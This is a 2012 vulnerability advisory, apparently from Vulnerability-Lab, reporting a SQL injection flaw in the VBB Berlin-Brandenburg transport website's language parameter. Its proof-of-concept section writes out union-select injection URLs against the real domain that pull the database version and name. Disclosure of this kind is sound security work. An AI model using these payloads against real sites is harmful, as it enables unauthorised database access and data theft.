Title:
======
Verkehrsbetriebe Berlin - SQL Injection Vulnerability


Date:
=====
2012-01-25


References:
===========
https://www.vulnerability-lab.com/get_content.php?id=138


VL-ID:
=====
138


Introduction:
=============
VBB Verkehrsverbund Berlin-Brandenburg GmbH
Der VBB koordiniert die Interessen der verschiedenen Partner und gestaltet die Entwicklung eines 
leistungsstarken integrierten Nahverkehrssystems in Berlin.

(Copy of the Vendors Homepage: https://www.vbbonline.de/)


Abstract:
=========
An anonymous researcher discovered a critical SQL Injection Vulnerability on Berlins VBB Verkehrsbetriebe.


Report-Timeline:
================
2011-02-09:  Vendor Notification 1
2011-03-06:  Vendor Notification 2
2011-04-13:  Vendor Notification 3
2012-01-25:  Vendor Response/Feedback
2012-01-25:  Vendor Fix/Patch
2012-01-25:  Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================

Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A critical SQL Injection Vulnerability is detected on VBBs Verkehrsverbund Berlin-Brandenburg GmbH Website.
The vulnerability allows remote attackers to inject own sql statements on the affected application/dbms.
The successfull exploitation can result in website defacements, data lost, manipulation of content & module destruction.

Vulnerable Modules:
                        [+] Language ID

Pictures:
                        ../sql1.png
                        ../sql2.png


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers without user inter action. For demonstration or reproduce ...

File:    index.php
Para:    ?cat=2&sCat=392&id_language=

References:
https://www.vbbonline.de/index.php?cat=2&sCat=392&id_language=-1 union select 1,2,3,4,5,version()/*
https://www.vbbonline.de/index.php?cat=2&sCat=392&id_language=-1%20union%20select%201,2,3,4,5,database%28%29/*


Reference(s):
https://www.vbbonline.de/intern/static/index.php


Risk:
=====
The security risk of the sql injection vulnerability is estimated as critical.


Credits:
========
Vulnerability Research Laboratory  -  Benjamin Kunz Mejri &   Pim J.F.P. Campers


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                Copyright © 2012|Vulnerability-Lab




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